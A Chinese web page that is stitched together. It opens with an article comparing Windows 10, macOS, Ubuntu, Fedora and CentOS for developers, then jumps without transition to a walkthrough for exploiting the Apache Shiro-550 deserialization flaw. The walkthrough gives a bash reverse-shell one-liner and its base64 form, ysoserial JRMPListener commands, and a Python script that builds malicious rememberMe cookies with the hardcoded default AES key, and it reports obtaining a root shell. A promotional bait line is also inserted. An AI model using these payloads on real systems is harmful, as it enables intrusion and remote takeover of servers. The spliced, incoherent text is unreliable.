2015年7月29日開始,微軟全新操作系統Windows10正式發布,同時它也做為微軟“Windows即服務”新戰略的重要一步,開始了為期一年的免費升級活動。截至目前,Win10正式“晉升”為專利收費,需要花費119.99美元才能升級的操作系統。
面對這樣一款閉源、付費,對在安全、可控方面備受詬病的操作系統,很多程序員都在say no。甚至有人提出:最近發現Windows10在鎖屏界面售賣廣告……
盡管如此,Windows作為已經在消費級市場占有大量份額的操作系統,幾近呈現壟斷之勢。但是對于開發人員來說,Windows 10似乎才是小眾的操作系統,在他們眼里,Mac OS、Ubuntu、Fedora、CentOS這樣的操作系統才是真正的王者!今天筆者就帶大家從開發黨的視角來對操作系統作出評判。
1、Windows 10
開放指數:★☆
難度系數:☆
生態建設:★★★★★
誠如前面筆者介紹的,Windows 10操作系統如今已經成為Windows 7之下的第二大操作系統,市場占有率達到21.9%。這說明,微軟Windows10操作系統所采用的免費升級的服務的確十分有吸引力。微軟更是放下豪言,希望在3年的時間內,讓全球10億臺設備運行Windows 10。
除了免費升級的優點之外,Windows 10一定還有其它優點才能吸引如此多的使用者升級、安裝。總結起來,只有兩個字:簡單。
盡管目前PC、Pad和手機都已經成為生活必需品,但是,對于大多數人來說,這些設備只是填充無聊時間的消遣之物。在這樣的需求面前,我們可以肯定,操作系統的簡單、易上手的特點將成為大多數IT設備使用者選擇操作系統的考量重點。
但是,在開放黨看來,當Windows決定面向技術基礎最薄弱的用戶群體時,就必然要舍棄開放、可編程和免費的特點。隨之而來的,Windows已遭受網絡攻擊、付費和使用者對系統的不可知性。這些特點在開發當看來,都是致命的缺陷。
筆者不得不說,面對廣大普通消費者而言,Windows 10或者Windows 7系統的確是不錯的選擇,畢竟微軟擁有良好的生態體系,同時這類系統所產生的的廣告、安全問題,往往不會對使用者造成致命影響。簡言之,作為普通娛樂需要,Windows 10已經夠用了。但如果你對系統安全性、開放性有更高的要求,你可以了解一下下面的操作系統,并填注下面的問卷,更好地了解大多數人對系統的需求。
2、macOS
開放指數:★★☆
難度系數:★★☆
生態建設:★★★★☆
根據最新調查顯示macOS為全球第三大操作系統,市占率達到9.92%。這樣的數據表明,蘋果的macOS系統人占有不錯的市場份額,更重要的是,macOS操作系統獲得了IT專家和普通用戶的雙重認可,就這一點而言,macOS是做的最好的。
如果你問Mac用戶,你為什么使用蘋果電腦,得到的答案一定五花八門。有人說,因為Mac筆記本外觀漂亮;有人說,因為Mac萬能的空格(Space)鍵;有人說,因為Mac上使用Multi-Touch手勢提高了我的工作效率;當然,也有人說,因為老子有錢。當筆者將同樣的問題拋給開發人員,對方只給我回了兩個字:純凈。
這就要從macOS出身說起了。相較于前面的Windows 10操作系統,macOS的出身可以說相當高貴,macOS操作系統脫胎于UNIX操作系統。可能很多人對Unix系統并不了解,但你一定在玩游戲過程中聽說過服務器。實際上,Unix是為服務器而生,是一個專注于高效的系統。macOS在Unix的基礎上,進行了內存和處理器調度當面的優化,成為適用于PC的操作系統。
那么macOS在使用過程中有有什么優勢呢?
首先,脫胎于Unix的macOS更像Linux,這樣的特點讓那些處于研發需要使用Linux的用戶能夠快速地切換到macOS上。
其次,macOS系統運行流暢。對于很多Windows用戶而言,出門行走總要有一技傍身,從此,每逢卡機都會用“Ctrl+Alt+Delete”啟動任務管理器來招呼。很多情況下,一個軟件的崩潰,用這一招是沒問題的,但是頻繁的應用不僅耗費時間,而且也并非百試不爽。毫無疑問,頻繁的系統、軟件崩潰,不僅會對PC產生不良影響,更重要的是會耽誤時間,甚至會造成數據遺失。相對而言,macOS有著封閉的生態系統和完美的驅動,很少會出現卡死的現象。
軟件卡死
最后,對于開發人員來說,macOS的系統沒有下方的“開始”菜單。這樣的特點讓開發人員能夠將全部注意力集中在研發之中,不會因為右下方的各種新信息而騷擾。
當然,對于Windows用戶,突然替換到macOS會感到比較難,但習慣后發現他更為高效。當然還有人對macOS發出這樣的質疑,認為macOS僅依靠蘋果一家公司,這樣的情況可能會導致一旦蘋果衰落或者倒閉,會導致macOS的消亡。但筆者認為這并不值得擔憂。且不說蘋果公司有沒有迅速倒閉的可能性,我們假設蘋果公司即將倒閉,那么現在一定也會有很多國家的科研機構對其進行維護。
3、Ubuntu
開放指數:★★★★★
難度系數:★★★
生態建設:★★☆
在談論Ubuntu之前,我們應該聊一聊Linux,沒有Linux就不會有那么多適合各種語言、各種生產環境的操作系統。如果你不了解Linux操作系統,你只需要直到,很多手機采用的安卓系統也脫胎于Linux,Linux通常被開發者所喜愛,市場占有率僅為2%,遠不及前面的Windows和macOS。
Ubuntu首次發布于2004年9月,相對來說是發行較晚的Linux發行版,盡管該項目沒有其他Linux發行版本早,但是其郵件列表很快被用戶的渴望和開發者的熱情討論所填滿。隨后,Ubuntu成長為最流行的桌面Linux發行版,它朝著發展一種“易用和免費”的桌面操作系統做出了極大的努力和貢獻,能夠與市場上任何一款個人操作系統相競爭。
那么,究竟是什么因素使Ubuntu獲得如此巨大的成功呢?首先,該項目的創建者影響力十分強大(創建者為Mark Shuttleworth,他既是充滿魅力的南非富翁,Debian的早起開發者,也是世界上第二名自資的太空游客)。其次,較晚的發布時間讓Ubuntu從其他類似Linux發行計劃的失敗中得以吸取教訓。第三,Ubuntu給所有互聯網上感興趣的用戶發放免費CD,從而促進了Ubuntu發行版的迅速擴大。
Ubuntu圖形化界面
在技術方面,Ubuntu是基于Debian的發行版,包含一些著名的軟件包,如GNOME,Firefox和OpenOffice.org其最新版本的更新。雖然Linux系的操作系統通常都以命令行界面著稱,但是Ubuntu同樣擁有圖形界面,這就為開發基礎較弱的用戶提供了幫助,更為貼心的是,Ubuntu為了滿足每個用戶的需求,出現了不少版本或風格的Ubuntu。
Ubuntu的其他特殊功能還包括一個可安裝的live CD,美術創作和桌面主題,Windows用戶遷移助手,支持最新新的技術,如3D桌面效果,易于安裝的ATi和NVIDIA顯卡驅動以及無線設備驅動的支持等,并按需支持非免費或專利授權的媒體編解碼器,Ubuntu創造了一個優秀的以網絡為基礎的Wiki風格的文檔,用專業的方法為最終用戶創建了錯誤報告反饋機制。
對于Java、PHP和Python開發者來說,Ubuntu是一個不錯的選擇,無論是簡易的安裝還是卓越的硬件恢復能力,Ubuntu都成為開發黨的最愛。
Ubuntu主頁:http://www.ubuntu.com/
4、Fedora
開放指數:★★★★★
難度系數:★★★★★
生態建設:★★★☆
如果你并不熟悉Fedora操作系統,但你一定聽過Red Hat這家公司。一般紅帽在發布正式版之前都會在Fedora上進行測試、發布。盡管如此,Fedora的正式版還是十分穩定的。他與Ubuntu有些相似,用戶量在所有Linux系統中也十分可觀。如果說Ubuntu簡便易用,論壇和WIKI支持豐富,適合新手入門;那么Fedora在編程環境方面的配置要比Ubuntu還簡便,更適合像菜鳥學習編程開發和晉級學習。
Fedora系統
在定期發行升級版本時間上,Fedora與Ubuntu一個是開放派,一個是保守派。Fedora更喜歡確保系統達標后再發布,可能會造成用戶可接受范圍內的發行延時;但Ubuntu更喜歡保守,確定好的日期基本不會再變。Fedora起源可追溯至1995年,但正式發布的時間應該與Ubnutu相近,但值得注意的是,Fedora作為紅帽的先行版在穩定性方面擁有絕對優勢,同時還有紅帽公司來控制Fedora的發展方向。
在操作方面,Fedora需要手動配置yum源,安裝各種解碼器和常用工具,對于新手來說,學習和開發難度較大。安裝步驟基本分為設置分區、設置時區、選擇軟件源、設置鍵盤、設置網絡接口等,如果第一次使用GNOME,還要進行簡單的設置,當然你也可以選擇KDE,LXDE,Openbox,Xfce的桌面。
除了Fedora在安全性上的優秀特點之外,Fedora作為Red Hat的測試平臺,還擁有高度的創新性,數量眾多的支持包,并且嚴格遵守自由軟件理念。其缺點是由于太過關注企業級應用特性,導致桌面可用性關注度較弱。
對于Java、PHP等編程語言的開發者而言,Fedora也是一個不錯的選擇,因為它能夠讓開發程序是更加貼近應用。
Fedora主頁:http://fedoraproject.org/
5、CentOS
開放指數:★★★★★
難度系數:★★★☆
生態建設:★★★★★
CentOS退出與2003年年底,它是來自于Red Hat Enterprise Linux(RHEL)依照開放源代碼規定發布的源代碼所編譯而成,就CentOS平臺而言,并不能算是嚴格意義上的商業版本,但CentOS有它自己的套件庫和通信支持。CentOS可以得到 HEL的所有功能,甚至是更好的軟件。但CentOS并不向用戶提供商業支持,當然也不負上任何商業責任。
CentOS
盡管如此,你仍會發現,很多商業公司部署在生產環境上的服務器都是使用的CentOS系統。因此,CentOS常常被視為是一個可靠的服務器發行版。它繼承配備了完善的測試和穩定的Linux內核和軟件,和紅帽企業Linux基礎相同。
CentOS是一個企業適合的桌面解決方案,特別是在穩定性,可靠性和長期支持方面,是對最新的軟件和功能的首選。與RHEL一樣, CentOS支持5年以上的安全更新。另外,CentOS簡約,命令行的人性化做得比較好,穩定,且有著強大的英文文檔與開發社區的支持。CentOS雖然不單獨提供商業支持,但往往可以從Redhat中找到一絲線索。
很多網站站長都會選擇CentOS系統,因為CentOS可以去除很多與服務器功能無關的應用,系統簡單但非常穩定,命令行操作可以方便管理系統和應用,并且有幫助文檔和社區的支持。
centos.org
總的來說,CentOS不但行之有效,而且穩定可靠;可以免費下載和使用,還配備了5年的免費安全更新,能夠及時的發布和安全更新。但也往往缺乏最新的Linux技術支持,其發行時,大多數軟件已經過時。
CentOS主頁:http://www.centos.org/
如今Linux系操作系統在應用體驗、桌面美觀、游戲支持、Web應用和軟件兼容方面均有所提升,贏得了很多開發者的喜愛,但目前Windows仍然保持著最大的市占率,并在Windows 10開發版中原生支持了Linux bash。無論是Windows、macOS還是Linux系統,都擁有大量的開發者聚集。
盡管計算機都會自帶操作系統,但開發者常常會選擇重新安裝,或者選擇雙系統、虛擬機。比如,很多人選擇將CentOS裝在虛機中,或者將win與Linux做成雙系統,這導致很難分清究竟哪個操作系統的開發者更多。但可以肯定的是不同的開發需求適應不同的操作系統,更何況蘿卜白菜各有所愛,只有我們了解自身技術水平和工作需要,才能找到更能貼近應用、提升工作效率的操作系統。
最近一直在整理筆記,恰好碰到實習時遇到的Shiro反序列化漏洞,本著溫故而知新的思想,就照著前輩們的文章好好研究了下,整理整理筆記并發個文章。
Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、授權、密碼和會話管理。使用Shiro易于理解的API,開發者可以快速、輕松地獲得任何應用程序,從最小的移動應用程序到最大的網絡和企業應用程序。
Apache Shiro <=1.2.4
返回包中含有rememberMe=deleteMe字段
在Shiro <= 1.2.4中,反序列化過程中所用到的AES加密的key是硬編碼在源碼中,當用戶勾選RememberMe并登錄成功,Shiro會將用戶的cookie值序列化,AES加密,接著base64編碼后存儲在cookie的rememberMe字段中,服務端收到登錄請求后,會對rememberMe的cookie值進行base64解碼,接著進行AES解密,然后反序列化。由于AES加密是對稱式加密(key既能加密數據也能解密數據),所以當攻擊者知道了AES key后,就能夠構造惡意的rememberMe cookie值從而觸發反序列化漏洞。
//獲取docker鏡像
docker pull medicean/vulapps:s_shiro_1
//啟動容器
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
2021最新整理網絡安全/滲透測試/安全學習/100份src技術文檔(全套視頻、CTF、大廠面經、精品手冊、必備工具包、路線)一>關注我,私信回復“資料”獲取<一
3.2 工具準備
3.2.1 配置maven
1、下載maven
http://maven.apache.org/download.cgi
2、配置win10 maven環境變量以及idea maven環境
https://zhuanlan.zhihu.com/p/48831465
3.2.2 下載ysoserial工具并打包
下載地址:https://github.com/frohoff/ysoserial
打包完的ysoserial在ysoserial/target文件中
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests
PS:終于打包完了,沒想到Maven源換成了阿里云的速度還是有點慢。
這里使用shiro_tool.jar工具檢測Shiro是否存在默認的key,
java -jar shiro_tool.jar http://192.168.31.81:8080/
3.4 漏洞利用
1、制作反彈shell代碼
首先,在kali中通過nc監聽本地端口,
nc -lvp 4444
接著利用Java Runtime配合bash編碼,
bash -i >& /dev/tcp/192.168.31.81/4444 0>&1
結果:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjgxLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}
2、通過ysoserial工具中的JRMP監聽模塊,監聽6666端口并執行反彈shell命令,
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjgxLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'
3、利用檢測出的AES密鑰,生成payload
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen([‘java’, ‘-jar’, ‘ysoserial-0.0.6-SNAPSHOT-all.jar’, ‘JRMPClient’, command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode(“kPH+bIxk5D2deZiIxcaaaA==”)
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if name == ‘main’:
payload = encode_rememberme(sys.argv[1])
print “rememberMe={0}”.format(payload.decode())
Python2用pip安裝Crypto的過程中,出現了各種問題,最主要的問題就是各種報缺少Crypto.Cipher模塊的錯誤,Google百度網上找了一大堆,瘋狂pip安裝卸載,都無法解決,后來索性采取了手動安裝Crypto模塊,最后終于解決。
問題一:ImportError: No module named Crypto.Cipher
——>手動下載Crypto包進行安裝
下載地址:https://pypi.org/simple/pycrypto/
問題二:
error: command ‘x86_64-linux-gnu-gcc‘ failed with exit status 1
——>安裝依賴庫解決:
apt-get install build-essential python-dev libssl-dev libffi-dev libxml2 libxml2-dev libxslt1-dev zlib1g-dev
使用test_shiro550.py,生成payload
python test_shiro550.py 192.168.31.81:6666
4、利用生成的rememberMe值構造數據包,偽造cookie,發送請求。
5、查看nc監聽結果,反彈shell成功。
nc成功反彈shell,whoami命令查詢為root權限。
1、使用ysoserial工具生成poc
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "echo 'test shiro-550' > /tmp/SUCCESS" > poc
2、使用Shiro默認AES Key對payload進行加密
3、brupsuite抓包,發送帶有偽造的rememberMe Cookie的請求。
4、查看目標服務器的/tmp目錄,確認生成了SUCCESS文件。
Shiro-550漏洞產生的根本原因就是因為AES加密的key硬編碼在源碼中,從而可以被攻擊者利用泄露的AES key偽造rememberMe字段生成cookie值,導致反序列化漏洞。因此,服務器端對cookie值的處理過程反過來就是payload的產生過程:命令=>進行序列化=>AES加密=>base64編碼=>產生RememberMe Cookie值。